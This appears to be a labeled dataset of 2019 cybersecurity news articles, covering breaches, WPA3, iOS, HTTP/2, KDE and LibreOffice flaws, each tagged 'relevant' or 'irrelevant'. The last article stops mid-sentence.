"Facebook Sues Two Android App Developers for Click Injection Fraud Facebook has filed a lawsuit against two shady Android app developers accused of making illegal money by hijacking users' smartphones to fraudulently click on Facebook ads. According to Facebook, Hong Kong-based 'LionMobi' and Singapore-based 'JediMobi' app developers were distributing malicious Android apps via the official Google Play Store that exploit a technique known as ""click injection fraud."" Click injection is a type of attribution fraud where fraudsters manipulate the attributions to steal the credit from the actual source of app installation in an advertising process that involves Cost Per Installation model. In simple words, a malicious app installed on a device automatically generates a fake click to the advertisement network with its own tracking codes when it finds that the user is installing a new app from any other source to claim itself as the source of the installation. Therefore, Advertisers end up paying commission to the wrong sources/publishers who had no role in helping install promoted apps. Click injection is a fairly common form of ad fraud and is not just limited to Facebook Audience Network, a platform that helps publishers monetize their third-party apps and websites with ads from global Facebook advertisers. ""LionMobi and JediMobi generated unearned payouts from Facebook for misrepresenting that a real person had clicked on the ads,"" Facebook said in a statement. ""The malware created fake user clicks on Facebook ads that appeared on the users' phones, giving the impression that the users had clicked on the ads."" Late last year, Cheetah Mobile—a prominent Chinese app company, known for its popular utility apps like Clean Master and Battery Doctor—were also caught up in an Android ad fraud scheme that stole millions of dollars from advertisers. Facebook says it has banned the developers from its ad network and refunded impacted advertisers back in March 2019. It appears Google has also suspected Play Store accounts for both, LionMobi and JediMobi, developers.",irrelevant
"Foxit PDF Software Company Suffers Data Breach—Asks Users to Reset Password If you have an online account with Foxit Software, you need to reset your account password immediately—as an unknown attacker has compromised your personal data and log-in credentials. Foxit Software, a company known for its popular lightweight Foxit PDF Reader and PhantomPDF applications being used by over 525 million users, today announced a data breach exposing the personal information of 'My Account' service users. Though for using free versions of any Foxit PDF software doesn't require users to sign up with an account, the membership is mandatory for customers who want to access ""software trial downloads, order histories, product registration information, and troubleshooting and support information."" According to a blog post published today by Foxit, unknown third-parties gained unauthorized access to its data systems recently and accessed its ""My Account"" registered users' data, including their email addresses, passwords, users' names, phone numbers, company names, and IP addresses. From the company's statement, it's not clear, if the leaked account passwords are protected with a robust hashing algorithm and salting mechanism to make it tough for hackers to crack them. foxit data breach However, the company assured its users that no payment card details or other personal identification data of its My Account users had been accessed since the compromised system doesn't hold this data. Reset Your 'My Account' Password Now! In response to this security incident, Foxit has immediately invalidated the account passwords for all affected users, requiring them to reset their passwords to regain access to their online account on the Foxit Software website. The company has also launched a digital forensics investigation as well as notified law enforcement agencies and data protection authorities of the incident. Besides this, Foxit Software has also hired a security management firm to conduct an in-depth analysis of its systems and strengthen their security in order to protect the company against future cybersecurity incidents. Following the password reset, the company has also contacted affected users via email (as shown above in the screenshot shared by a user), providing them with a link to create a new, strong and unique password for their accounts to prevent any unauthorized access. Foxit users have also been recommended to remain vigilant by being cautious of any suspicious emails asking them to click on the links or download attachments, and reviewing their account statements and monitoring their credit reports to avoid identity theft.",relevant
"Google Will Now Pay Anyone Who Reports Apps Abusing Users' Data In the wake of data abuse scandals and several instances of malware app being discovered on the Play Store, Google today expanded its bug bounty program to beef up the security of Android apps and Chrome extensions distributed through its platform. The expansion in Google's vulnerability reward program majorly includes two main announcements. First, a new program, dubbed 'Developer Data Protection Reward Program' (DDPRP), wherein Google will reward security researchers and hackers who find ""verifiably and unambiguous evidence"" of data abuse issues in Android apps, OAuth projects, and Chrome extensions. Second, expanding the scope of its Google Play Security Rewards Program (GPSRP) to include all Android apps from the Google Play Store with over 100 million or more installs, helping affected app developers fix vulnerabilities through responsibly disclosures.' Get Bounty to Find Data-Abusing Android & Chrome Apps The data abuse bug bounty program aims to avoid scandals like Cambridge Analytica that hit Facebook with $5 billion in fines for failing to identify situations where user data is being used or sold unexpectedly or repurposed illegitimately without user consent. ""If data abuse is identified related to an app or Chrome extension, that app or extension will accordingly be removed from Google Play or Google Chrome Web Store,"" Google says in its blog post published today. ""In the case of an app developer abusing access to Gmail restricted scopes, their API access will be removed."" Google has not yet announced any reward table for the DDPRP program but ensured that a single report could net up to $50,000 in bounty depending on the impact. Bug Bounty On All Android Apps With 100 Million+ Downloads On the other hand, the GPSRP Program, which was initially launched in 2017, was until today limited to only reporting vulnerabilities in popular Android apps in Google Play Store. With the latest announcement, Google will now work with developers of hundreds of thousands of Android apps, each with at least 100 million downloads, helping them to receive vulnerability reports and instructions on how to patch them over their Play Consoles. ""These apps are now eligible for rewards, even if the app developers don't have their own vulnerability disclosure or bug bounty program,"" Google says. ""If the developers already have their own programs, researchers can collect rewards directly from them on top of the rewards from Google."" Part of Google's App Security Improvement (ASI) program, this existing initiative has already helped over 300,000 developers fix more than 1,000,000 apps on the Google Play Store. Hopefully, both measures will now allow Google to prevent malicious Android apps and Chrome extensions from abusing its users' data, as well as to beef up the security of apps distributed through Play Store.",irrelevant
"Google Proposes 'Privacy Sandbox' to Develop Privacy-Focused Ads Google today announced a new initiative—called Privacy Sandbox—in an attempt to develop a set of open standards that fundamentally enhances privacy on the web while continuing to support a free, open and democratic Internet through digital advertisements. A lot of websites on the Internet today, including The Hacker News, rely on online advertisements as their primary source of funding to operate and keep their professionally created content open and freely accessible to everyone. However, with the evolution of online advertising, the targeted advertisement technologies have become too much invasive because of involved intrusive practices and more prudent approaches to accurately curate users' personal information, thereby raising serious privacy concerns among Internet users. In its latest blog post, Google acknowledged that ad tracking is ""now being used far beyond its original design intent,"" but also highlights that unplanned attempts to address privacy concerns can have unintended consequences on all, including end-users, publishers and businesses. ""Recently, some other browsers have attempted to address this problem, but without an agreed-upon set of standards, attempts to improve user privacy are having unintended consequences,"" Google says. ""Many publishers have been able to continue to invest in freely accessible content because they can be confident that their advertising will fund their costs. If this funding is cut, we are concerned that we will see much less accessible content for everyone."" In an attempt to address this problem the right way, Google has introduced Privacy Sandbox, an initiative to develop a new set of standards that will be more consistent with users' expectations of privacy, while providing a secure environment for personalization. Since Privacy Sandbox is in its early development stage, Google is seeking out ideas and feedback from publishers, advertisers, web and tech communities, developers, as well as privacy advocates. As a jump start, Google has proposed some ideas that can be used to develop privacy-preserving APIs, which includes: Tracking users by category, not individually — delivering ads to large groups of similar people without letting individually identifying data ever leave the user's browser. Targeting interests without letting advertisers track specific user across the web — Addressing the measurement needs [content and personalization to make it more relevant] of the advertiser without letting the advertiser track a specific user across sites. Detecting and preventing fraudulent behavior — for instance, false transactions or attempts to fake ad activity to steal money from advertisers and publishers. Google also understands that developing new web standards as a universal solution for sites and browsers is a complex process that can take years and also involve significant thought, debate, and input from many stakeholders. The company has already introduced some immediate privacy and security-oriented measures in its web browser, including better classification of cookies, highlighted settings, and fingerprint blocking, to allow users to block online tracking.",irrelevant
"Researchers Discover New Ways to Hack WPA3 Protected WiFi Passwords The same team of cybersecurity researchers who discovered several severe vulnerabilities, collectively dubbed as Dragonblood, in the newly launched WPA3 WiFi security standard few months ago has now uncovered two more flaws that could allow attackers to hack WiFi passwords. WPA, or WiFi Protected Access, is a WiFi security standard that has been designed to authenticate wireless devices using the Advanced Encryption Standard (AES) protocol and intended to prevent hackers from eavesdropping on your wireless data. The WiFi Protected Access III (WPA3) protocol was launched a year ago in an attempt to address technical shortcomings of the WPA2 protocol from the ground, which has long been considered to be insecure and found vulnerable to more severe KRACK attacks. WPA3 relies on a more secure handshake, called SAE (Simultaneous Authentication of Equals), which is also known as Dragonfly, that aims to protect WiFi networks against offline dictionary attacks. However, in less than a year, security researchers Mathy Vanhoef and Eyal Ronen found several weaknesses (Dragonblood) in the early implementation of WPA3, allowing an attacker to recover WiFi passwords by abusing timing or cache-based side-channel leaks. Shortly after that disclosure, the WiFi Alliance, the non-profit organization which oversees the adoption of the WiFi standard, released patches to address the issues and created security recommendations to mitigate the initial Dragonblood attacks. But it turns out that those security recommendations, which were created privately without collaborating with the researchers, are not enough to protect users against the Dragonblood attacks. Instead, it opens up two new side-channel attacks, which once again allows attackers to steal your WiFi password even if you are using the latest version of WiFi protocol. New Side-Channel Attack Against WPA3 When Using Brainpool Curves The first vulnerability, identified as CVE-2019-13377, is a timing-based side-channel attack against WPA3's Dragonfly handshake when using Brainpool curves, which the WiFi Alliance recommended vendors to use as one of the security recommendations to add another layer of security. ""However, we found that using Brainpool curves introduces the second class of side-channel leaks in the Dragonfly handshake of WPA3,"" the duo says in an updated advisory. ""In other words, even if the advice of the WiFi Alliance is followed, implementations remain at risk of attacks."" ""The new side-channel leak is located in the password encoding algorithm of Dragonfly,"" the researchers said, ""We confirmed the new Brainpool leak in practice against the lastest Hostapd version, and were able to brute-force the password using the leaked information."" Side-Channel Attack Against FreeRADIUS' EAP-PWD Implementation The second vulnerability, identified as CVE-2019-13456, is an information leak bug which resides the implementation of EAP-pwd (Extensible Authentication Protocol-Password) in FreeRADIUS—one of the most widely used open-source RADIUS server that companies utilizes as a central database to authenticate remote users. Mathy Vanhoef, one of the two researchers who discovered the Dragonblood flaws, told The Hacker News that an attacker could initiate several EAP-pwd handshakes to leak information, which can then be used to recover the user's WiFi password by performing dictionary and brute-force attacks. ""The EAP-pwd protocol internally uses the Dragonfly handshake, and this protocol is used in some enterprise networks where users authenticate using a username and password,"" Vanhoef told The Hacker News. ""More worrisome, we found that the WiFi firmware of Cypress chips only executes 8 iterations at minimum to prevent side-channel leaks. Although this makes attacks harder, it does not prevent them."" the duo said. According to researchers, implementing Dragonfly algorithm and WPA3 without side-channel leaks is surprisingly hard, and the backward-compatible countermeasures against these attacks are too costly for lightweight devices. The researchers shared their new findings with the WiFi Alliance and tweeted that ""WiFi standard is now being updated with proper defenses, which might lead to WPA 3.1,"" but unfortunately, the new defenses wouldn't be compatible with the initial version of WPA3. Mathy Vanhoef also told The Hacker News that it's unfortunate that WiFi Alliance created their security guidelines in private. ""If they would have done this publicly, these new issues could have been avoided. Even the original WPA3 certification was partly made in private, which also wasn't ideal.""",relevant
"Hacker Ordered to Pay Back Nearly £1 Million to Phishing Victims A prolific hacker who carried out phishing scams against hundreds of companies worldwide has been ordered to pay back more than $1.1 million (over £922,000) worth of cryptocurrencies to his victims. Grant West, a 27-year-old resident of Kent, England, targeted several well-known companies around the world since 2015 to obtain the financial data of tens of thousands of customers and then sold that data on underground forums in exchange for Bitcoins or other cryptocurrencies. West, who operated under the online moniker of 'Courvoisier,' stashed the resulting cryptocurrencies in multiple accounts and wallets, which was confiscated by the Metropolitan police after West's arrest in September 2017 following a two-year-long investigation code-named 'Operation Draba.' Metropolitan Police Cyber Crime Unit (MPCCU) also seized an SD card from West's home, which contained approximately 78 million individual usernames and passwords as well as 63,000 credit and debit card details. Authorities also recovered a laptop that West used to carry out phishing attacks containing personal financial information of more than 100,000 people in a file known as ""fullz."" The laptop actually belonged to West's girlfriend. Following the investigation, detectives found evidence that West conducted phishing scams on the websites of 17 major companies including Uber, Sainsbury's, Nectar, Groupon, T Mobile, AO.com, Argos, the Finnish Bitcoin exchange, the British Cardiovascular Society, Truly Experiences Ltd, and M R Porter. In one of his scams, West posed as food delivery service ""Just Eat"" between July and December 2015 in an attempt to steal the financial information of 165,000 customers. Though he failed to obtain any financial data of its customers, the attack cost the firm roughly £200,000. Besides this, West also made money by selling cannabis on the dark web which he shipped to his customers and ""how-to"" guides instructing other online fraudsters how to carry out cyber attacks. At the time of his arrest, the funds seized from West's multiple accounts and cryptocurrency wallets were reportedly around £1.6 million, but the fluctuating value of Bitcoin and other digital currencies brought the seized funds down to £922, 978.14. West was jailed on 25 May at Southwark Crown Court for 10 years and eight months for 10 counts of criminal offenses including two counts of conspiracy to defraud and two counts of possession of the criminal property. Now, just today, Southwark Crown Court judge granted the confiscation of his funds (£922,978.14) under the Proceeds of Crime Act and told West if he refused the confiscation order, he would serve a further four years, the Metropolitan Police Service (MPS) said in a statement published today. ""The cryptocurrency will now be sold, and the victims will receive compensation for the damage caused by the organised criminality committed by West,"" the MPC said. Head of the MPCCU, Detective Chief Inspector Kirsty Goldsmith, said: ""The MPS is committed to ensuring that individuals who are committing criminality on the Dark Web are identified, prosecuted, and their criminal assets are seized.""",irrelevant
"Google Uncovers How Just Visiting Some Sites Were Secretly Hacking iPhones For Years Beware Apple users! Your iPhone can be hacked just by visiting an innocent-looking website, confirms a terrifying report Google researchers released earlier today. The story goes back to a widespread iPhone hacking campaign that cybersecurity researchers from Google's Project Zero discovered earlier this year in the wild, involving at least five unique iPhone exploit chains capable of remotely jailbreaking an iPhone and implanting spyware on it. Those iOS exploit chains were found exploiting a total of 14 separate vulnerabilities in Apple's iOS mobile operating system—of which 7 flaws resided in Safari web browser, 5 in the iOS kernel and 2 separate sandbox escape issues—targeting devices with almost every version in that time-frame from iOS 10 through to the latest version of iOS 12. According to a deep-dive blog post published by Project Zero researcher Ian Beer, only two of the 14 security vulnerabilities were zero-days, CVE-2019-7287 and CVE-2019-7286, and unpatched at the time of discovery—and surprisingly, the campaign remained undetected for at least two years. ios iphone exploit chain Though the technical details and background story of both then-zero-day vulnerabilities were not available at that time, The Hacker News warned about both the flaws in February after Apple released iOS version 12.1.4 to address them. ""We reported these issues to Apple with a 7-day deadline on 1 Feb 2019, which resulted in the out-of-band release of iOS 12.1.4 on 7 Feb 2019. We also shared the complete details with Apple, which were disclosed publicly on 7 Feb 2019,"" Beer says. Now, as Google researcher explained, the attack was being carried out through a small collection of hacked websites with thousands of visitors per week, targeting every iOS user landing on those websites without discrimination. ""Simply visiting the hacked site was enough for the exploit server to attack your device, and if it was successful, install a monitoring implant,"" Beer says. Once an iPhone user visited one of the hacked websites through the vulnerable Safari web browser, it triggered WebKit exploits for each exploit chain in an attempt to gain an initial foothold onto the user's iOS device and stage the privilege escalation exploits to further gain root access to the device, which is the highest level of access. The iPhone exploits were used to deploy an implant primarily designed to steal files like iMessages, photos, and live GPS location data of users, and upload them to an external server every 60 seconds. ""There is no visual indicator on the device that the implant is running. There's no way for a user on iOS to view a process listing, so the implant binary makes no attempt to hide its execution from the system,"" Beers explains. The spyware implant also stole the database files from the victim's device used by popular end-to-end encryption apps like Whatsapp, Telegram, and iMessage to store data, including private chats in the plaintext. ios exploit hacking whatsapp In addition, the implant also had access to users' device's keychain data containing credentials, authentication tokens, and certificates used on and by the device. ""The keychain also contains the long-lived tokens used by services such as Google's iOS Single-Sign-On to enable Google apps to access the user's account. These will be uploaded to the attackers and can then be used to maintain access to the user's Google account, even once the implant is no longer running,"" Beers says. While the implant would be automatically wiped off from an infected iPhone upon rebooting thereby leaving no trace of itself, visiting the hacked site again would reinstall the implant. Alternatively, as Beer explains, the attackers may ""nevertheless be able to maintain persistent access to various accounts and services by using the stolen authentication tokens from the keychain, even after they lose access to the device."" Takeaway: Since Apple already patched the majority of vulnerabilities exploited by the uncovered iPhone exploits, users are always recommended to keep their devices up-to-date to avoid becoming victims of such attack chains. Update: Apple Accuses Google of Spreading Misinformation Apple released a bold statement regarding the ""indiscriminate"" iPhone hacking campaign that Google's Project Zero researchers disclosed earlier this week, accusing Google of creating the false impression of ""mass exploitation."" Apple confirmed that the attack, but said it affected fewer than a dozen websites that focus on content related to the Uighur community, and also clarifies the watering hole sites attacks were only operational for a brief period, roughly two months, not ""two years"" as Google implies. In response to Apple's latest statement, Google spokesperson also released and shared a statement with The Hacker News, saying: ""Project Zero posts technical research that is designed to advance the understanding of security vulnerabilities, which leads to better defensive strategies. We stand by our in-depth research which was written to focus on the technical aspects of these vulnerabilities. We will continue to work with Apple and other leading companies to help keep people safe online.""",relevant
"8 New HTTP/2 Implementation Flaws Expose Websites to DoS Attacks Various implementations of HTTP/2, the latest version of the HTTP network protocol, have been found vulnerable to multiple security vulnerabilities affecting the most popular web server software, including Apache, Microsoft's IIS, and NGINX. Launched in May 2015, HTTP/2 has been designed for better security and improved online experience by speeding up page loads. Today, over hundreds of millions of websites, or some 40 percent of all the sites on the Internet, are running using HTTP/2 protocol. A total of eight high-severity HTTP/2 vulnerabilities, seven discovered by Jonathan Looney of Netflix and one by Piotr Sikora of Google, exist due to resource exhaustion when handling malicious input, allowing a client to overload server's queue management code. The vulnerabilities can be exploited to launch Denial of Service (DoS) attacks against millions of online services and websites that are running on a web server with the vulnerable implementation of HTTP/2, knocking them offline for everyone. The attack scenario, in layman's terms, is that a malicious client asks a targeted vulnerable server to do something which generates a response, but then the client refuses to read the response, forcing it to consume excessive memory and CPU while processing requests. ""These flaws allow a small number of low bandwidth malicious sessions to prevent connection participants from doing additional work. These attacks are likely to exhaust resources such that other connections or processes on the same machine may also be impacted or crash,"" Netflix explains in an advisory released Tuesday. Most of the below-listed vulnerabilities work at the HTTP/2 transport layer: CVE-2019-9511 — HTTP/2 ""Data Dribble"" CVE-2019-9512 — HTTP/2 ""Ping Flood"" CVE-2019-9513 — HTTP/2 ""Resource Loop"" CVE-2019-9514 — HTTP/2 ""Reset Flood"" CVE-2019-9515 — HTTP/2 ""Settings Flood"" CVE-2019-9516 — HTTP/2 ""0-Length Headers Leak"" CVE-2017-9517 — HTTP/2 ""Internal Data Buffering"" CVE-2019-9518 — HTTP/2 ""Request Data/Header Flood"" ""Some are efficient enough that a single end-system could potentially cause havoc on multiple servers. Other attacks are less efficient; however, even less efficient attacks can open the door for DDoS attacks which are difficult to detect and block,"" the advisory states. However, it should be noted that the vulnerabilities can only be used to cause a DoS condition and do not allow attackers to compromise the confidentiality or integrity of the data contained within the vulnerable servers. Netflix security team, who teamed up with Google and CERT Coordination Center to disclose the reported HTTP/2 flaws, discovered seven out of eight vulnerabilities in several HTTP/2 server implementations in May 2019 and responsibly reported them to each of the affected vendors and maintainers. According to CERT, affected vendors include NGINX, Apache, H2O, Nghttp2, Microsoft (IIS), Cloudflare, Akamai, Apple (SwiftNIO), Amazon, Facebook (Proxygen), Node.js, and Envoy proxy, many of which have already released security patches and advisories.",relevant
"Imperva Breach Exposes WAF Customers' Data, Including SSL Certs, API Keys Imperva, one of the leading cybersecurity startups that helps businesses protect critical data and applications from cyberattacks, has suffered a data breach that has exposed sensitive information for some of its customers, the company revealed today. The security breach particularly affects customers of Imperva's Cloud Web Application Firewall (WAF) product, formerly known as Incapsula, a security-focused CDN service known for its DDoS mitigation and web application security features that protect websites from malicious activities. In a blog post published today, Imperva CEO Chris Hylen revealed that the company learned about the incident on August 20, 2019, only after someone informed it about the data exposure that ""impacts a subset of customers of its Cloud WAF product who had accounts through September 15, 2017."" imperva incapsula waf The exposed data includes email addresses and hashed and salted passwords for all Cloud WAF customers who registered before 15th September 2017, as well as API keys and customer-provided SSL certificates for a subset of users. ""We activated our internal data security response team and protocol, and continue to investigate with the full capacity of our resources how this exposure occurred,"" the company says. ""We have informed the appropriate global regulatory agencies. We have engaged outside forensic experts."" The company has not yet revealed how the Cloud WAF customers' data got leaked, whether its servers were compromised or if it was accidentally left unsecured in a misconfigured database on the Internet. However, Imperva is still investigating the incident, and the company has ensured that it is informing all impacted customers directly and is also taking additional measures to scale up its security. ""We profoundly regret that this incident occurred and will continue to share updates going forward. In addition, we will share learnings and new best practices that may come from our investigation and enhanced security measures with the broader industry,"" the company says. Cloud WAF users are recommended to change their account passwords, implement Single Sign-On (SSO), enable two-factor authentication (2FA), generate and upload new SSL certificate, and reset their API keys.",relevant
"iOS 12.4 jailbreak released after Apple 'accidentally un-patches' an old flaw A fully functional jailbreak has been released for the latest iOS 12.4 on the Internet, making it the first public jailbreak in a long time—thanks to Apple. Dubbed ""unc0ver 3.5.0,"" the jailbreak works with the updated iPhones, iPads and iPod Touches by leveraging a vulnerability that Apple previously patched in iOS 12.3 but accidentally reintroduced in the latest iOS version 12.4. Jailbreaking an iPhone allows you to install apps and other functions that are usually not approved by Apple, but it also disables some system protections that Apple put in place to protect its users, opening you up to potential attacks. Usually, iPhone Jailbreaks are sold for millions of dollars by exploit brokers, but if you want to jailbreak your Apple device, you can do it for free. An anonymous researcher who goes by the online alias ""Pwn20wnd"" has released a free jailbreak for iOS 12.4 on GitHub that exploits a use-after-free vulnerability in iOS kernel responsibly reported to Apple earlier this year by Ned Williamson, a researcher working with Google Project Zero. The vulnerability, tracked as CVE-2019-8605, allows an application to execute arbitrary code with system privileges on a target Apple device, which can not only be used to jailbreak them but also leaves users vulnerable to hackers. According to researchers, besides embedding the exploit into an innocent-looking app, the vulnerability can also be exploited remotely by combining it with sandbox bypass flaws in Apple Safari web browser or other Internet exposed services. ios iphone jailbreak exploit Though Apple patched this vulnerability in iOS 12.3, it accidentally reintroduced the same bug in iOS 12.4, making it easier for hackers to compromise Apple devices. As Pwn20wnd told Motherboard, ""somebody could make perfect spyware by exploiting this vulnerability."" ""For example, he said, a malicious app could include an exploit for this bug that allows it to escape the usual iOS sandbox—a mechanism that prevents apps from reaching data of other apps or the system—and steal user data."" The new jailbreak works on updated iOS devices, including the iPhone XS, XS Max, and XR or the 2019 iPad Mini and iPad Air, running iOS 12.4 and iOS 12.2 or earlier, but does not work at all on devices running iOS 12.3 that patched the bug. Several Apple users have taken to Twitter, claiming they used the Pwn20wnd jailbreak tool to successfully jailbreak [1, 2, 3, 4] their Apple devices, including the recent iPhone X and iPhone XR, and posting screenshots of their iPhone screens with unapproved app installations. Since Apple doesn't allow users to downgrade their operating system, users who have already upgraded their Apple devices to the latest version of iOS released late last month are left with no option other than waiting for an update from Apple. Likely, Apple is already working on a patch to re-implement its earlier patch that will be released with iOS 12.4.1. Meanwhile, you should also beware of apps you download from the App Store until a patch releases.",relevant
"Kaspersky Antivirus Flaw Exposed Users to Cross-Site Tracking Online In this digital era, the success of almost every marketing, advertising, and analytics company drives through tracking users across the Internet to identify them and learn their interests to provide targeted ads. Most of these solutions rely on 3rd-party cookies, a cookie set on a domain other than the one you are browsing, which allows companies including Google and Facebook to fingerprint you in order to track your every move across multiple sites. However, if you're using Kaspersky Antivirus, a vulnerability in the security software had exposed a unique identifier associated with you to every website you visited in the past 4 years, which might have allowed those sites and other third-party services to track you across the web even if you have blocked or erased third-party cookies timely. The vulnerability, identified as CVE-2019-8286 and discovered by independent security researcher Ronald Eikenberg, resides in the way a URL scanning module integrated into the antivirus software, called Kaspersky URL Advisor, works. By default, Kaspersky Internet security solution injects a remotely-hosted JavaScript file directly into the HTML code of every web page you visit—for all web browsers, even in incognito mode—in an attempt to check if the page belongs to the list of suspicious and phishing web addresses. kaspersky antivirus javascript Well, it's no surprise, as most Internet security solutions work in the same way to monitor web pages for malicious content. However, Eikenberg finds that the URL of this JavaScript file contains a string which is unique to every Kaspersky user, sort of a UUID (Universally Unique Identifier) that can easily be captured by websites, other third-party advertising and analytics services, putting its users privacy at risk. ""That's a bad idea because other scripts that run in the context of the website domain can access the HTML code at any time—and thus the injected Kaspersky ID. This means in plain language that any website can simply read the Kaspersky ID of the user and misuse it for tracking,"" the researcher says. ""The IDs were persistent and did not change after several days. This made it clear that an ID can be permanently assigned to a specific computer."" Eikenberg reported his findings to Kaspersky, who acknowledged the issue and patched it just last month by assigning a constant value (FD126C42-EBFA-4E12-B309-BB3FDD723AC1) for all users instead of using UUID in the JavaScript URL. ""Kaspersky has fixed a security issue (CVE-2019-8286) in its products that could potentially compromise user privacy by using unique product id which was accessible to third parties,"" the company says in its advisory. ""This issue was classified as User Data disclosure. The attacker has to prepare and deploy a malicious script on the web servers from where he will track the user."" kaspersky antivirus javascript injection However, the Kaspersky URL Advisor feature still enables websites and third-party services to find out if a visitor has Kaspersky software installed on his system, which the researcher believes can be abused by scammers and cybercriminals indirectly. ""An attacker could use this information to redistribute a pest tailored to the protection software or redirect it to a suitable scam page, with the slogan: Your Kaspersky license has expired. Please enter your credit card number to renew the subscription,"" Eikenberg warned. The updated versions of Kaspersky Antivirus, Internet Security, Total Security, Free Antivirus, and Small Office Security products have already been delivered to affected users. But, users who want to disable this tracking altogether can manually disable the URL Advisor feature from settings→ additional→ network→ un-check traffic processing box, as shown in the above screenshot.",relevant
"Google, Mozilla, Apple Block Kazakhstan's Root CA Certificate to Prevent Spying In a move to protect its users based in Kazakhstan from government surveillance, Google, Apple and Mozilla finally today came forward and blocked Kazakhstan's government-issued root CA certificate within their respective web browsing software. Starting today, Chrome, Safari and Firefox users in Kazakhstan will see an error message stating that the ""Qaznet Trust Network"" certificate should not be trusted when attempting to access a website that responds with the government-issued certificate. As The Hacker News reported last month, all major Kazakh Internet Service Providers (ISPs) are forcing their customers into installing a government-issued root certificate on their devices in order to regain access to their Internet services. The root certificate in question, labeled as ""trusted certificate"" or ""national security certificate,"" if installed, allows ISPs to intercept, monitor, and decrypt users' encrypted HTTPS and TLS connections, helping the government spy on its 18 million people and censor content. Once installed, the certificate allowed the Kazakh government to decrypt and read anything a user visiting popular sites—Facebook, Twitter, and Google, among others—types or posts, including intercepting their account information and passwords. ""When a user in Kazakhstan installs the root certificate provided by their ISP, they are choosing to trust a CA that doesn't have to follow any rules and can issue a certificate for any website to anyone,"" Mozilla explained in a blog post published today. ""This enables the interception and decryption of network communications between Firefox and the website, sometimes referred to as a Monster-in-the-Middle (MITM) attack."" Kazakhstan root ca certificate Making installation of the custom root CA certificate not just allow the government to surveil its citizens' online activities, but also leaves them at risk of social engineering attacks as an opportunity for hackers to trick users into installing a malicious root cert from unofficial websites and sources. After facing worldwide criticism, the Kazakh government described the initial roll-out of the certificate as a test for monitoring cyber threats and then abandoned its plans to intercept citizens' internet traffic. ""We will never tolerate any attempt, by any organization—government or otherwise—to compromise Chrome users' data. We have implemented protections from this specific issue, and will always take action to secure our users around the world,"" said Parisa Tabriz, Senior Engineering Director, Chrome. ""No action is needed by users to be protected. In addition, the certificate will be added to a blocklist in the Chromium source code and thus should be included in other Chromium-based browsers in due course,"" Google said. Though Apple has not yet published any blog post, a spokesperson from the company contacted The Hacker News to confirm that its Safari web browser also blocks Kazakhstan's government-issued root CA certificate. ""Apple believes privacy is a fundamental human right, and we design every Apple product from the ground up to protect personal information. We have taken action to ensure the certificate is not trusted by Safari and our users are protected from this issue,"" Apple's spokesperson told The Hacker News via an email. This is not the first time when the Kazakhstan government intercepted the internet traffic of its citizens. In 2015, the government attempted to have a root certificate included in Mozilla's trusted root store program, but the company denied the request as soon as it was discovered that the Kazakhstan government was intending to use that certificate to intercept user data. Both Google and Mozilla are encouraging you to remove the Kazakhstan government root certificate from your devices if you have already installed it and to change your passwords for each of your online accounts immediately.",irrelevant
"KDE Linux Desktops Could Get Hacked Without Even Opening Malicious Files If you are running a KDE desktop environment on your Linux operating system, you need to be extra careful and avoid downloading any "".desktop"" or "".directory"" file for a while. A cybersecurity researcher has disclosed an unpatched zero-day vulnerability in the KDE software framework that could allow maliciously crafted .desktop and .directory files to silently run arbitrary code on a user's computer—without even requiring the victim to actually open it. KDE Plasma is one of the most popular open-source widget-based desktop environment for Linux users and comes as a default desktop environment on many Linux distributions, such as Manjaro, openSUSE, Kubuntu, and PCLinuxOS. Security researcher Dominik Penner who discovered the vulnerability contacted The Hacker News, informing that there's a command injection vulnerability in KDE 4/5 Plasma desktop due to the way KDE handles .desktop and .directory files. ""When a .desktop or .directory file is instantiated, it unsafely evaluates environment variables and shell expansions using KConfigPrivate::expandString() via the KConfigGroup::readEntry() function,"" Penner said. Exploiting this flaw, which affects KDE Frameworks package 5.60.0 and below, is simple and involves some social engineering as an attacker would need to trick KDE user into downloading an archive containing a malicious .desktop or .directory file. ""Using a specially crafted .desktop file a remote user could be compromised by simply downloading and viewing the file in their file manager, or by dragging and dropping a link of it into their documents or desktop,"" the researcher explained. ""Theoretically, if we can control config entries and trigger their reading, we can achieve command injection / RCE."" As a proof-of-concept, Penner also published exploit code for the vulnerability along with two videos that successfully demonstrate the attack scenarios exploiting the KDE KDesktopFile Command Injection vulnerability. Apparently, the researcher did not report the vulnerability to the KDE developers before publishing the details and PoC exploits, said KDE Community while acknowledging the vulnerability and assuring users that a fix is on its way. ""Also, if you discover a similar vulnerability, it is best to send an email security@kde.org before making it public. This will give us time to patch it and keep users safe before the bad guys try to exploit it,"" KDE Community said. Meanwhile, the KDE developers recommended users to ""avoid downloading .desktop or .directory files and extracting archives from untrusted sources,"" for a while until the vulnerability gets patched. Update — KDE v5.61.0 Patches Command Injection Vulnerability KDE developers have patched this vulnerability by removing the entire feature of supporting shell commands in the KConfig files, an intentional feature that KDE provides for flexible configuration. According to the developers, KConfig could be abused by miscreants to make KDE users ""install such files and get code executed even without intentional action by the user."" ""A file manager trying to find out the icon for a file or directory could end up executing code, or any application using KConfig could end up executing malicious code during its startup phase for instance,"" KDE said in its security advisory released Wednesday. ""After careful consideration, the entire feature of supporting shell commands in KConfig entries has been removed, because we couldn't find an actual use case for it. If you do have an existing use for the feature, please contact us so that we can evaluate whether it would be possible to provide a secure solution."" Users are recommended to update to version 5.61.0 of KDE Frameworks 5, while users on kdelibs are advised to apply the patch for kdelibs 4.14 provided in the KDE Project advisory.",relevant
"Patches for 2 Severe LibreOffice Flaws Bypassed — Update to Patch Again If you are using LibreOffice, you need to update it once again. LibreOffice has released the latest version 6.2.6/6.3.0 of its open-source office software to address three new vulnerabilities that could allow attackers to bypass patches for two previously addressed vulnerabilities. LibreOffice is one of the most popular and open source alternatives to Microsoft Office suite and is available for Windows, Linux and macOS systems. One of the two vulnerabilities, tracked as CVE-2019-9848, that LibreOffice attempted to patch just last month was a code execution flaw that affected LibreLogo, a programmable turtle vector graphics script that ships by default with LibreOffice. This flaw allows an attacker to craft a malicious document that can silently execute arbitrary python commands without displaying any warning to a targeted user. Apparently, the patch for this vulnerability was insufficient, as The Hacker News also reported late last month, which allowed two separate security researchers to bypass the patch and re-enable the attack by exploiting two new vulnerabilities, as explained below: CVE-2019-9850: Discovered by Alex Inführ, the vulnerability in LibreOffice exists due to insufficient URL validation that allows malicious attackers to bypass the protection added to patch CVE-2019-9848 and again trigger calling LibreLogo from script event handlers. CVE-2019-9851: Discovered by Gabriel Masei, this flaw resides in a separate feature where documents can specify pre-installed scripts, just like LibreLogo, which can be executed on various global script events such as document-open, etc. The patch for the second vulnerability (CVE-2018-16858) that LibreOffice released in February has successfully been bypassed, re-enabling the directory 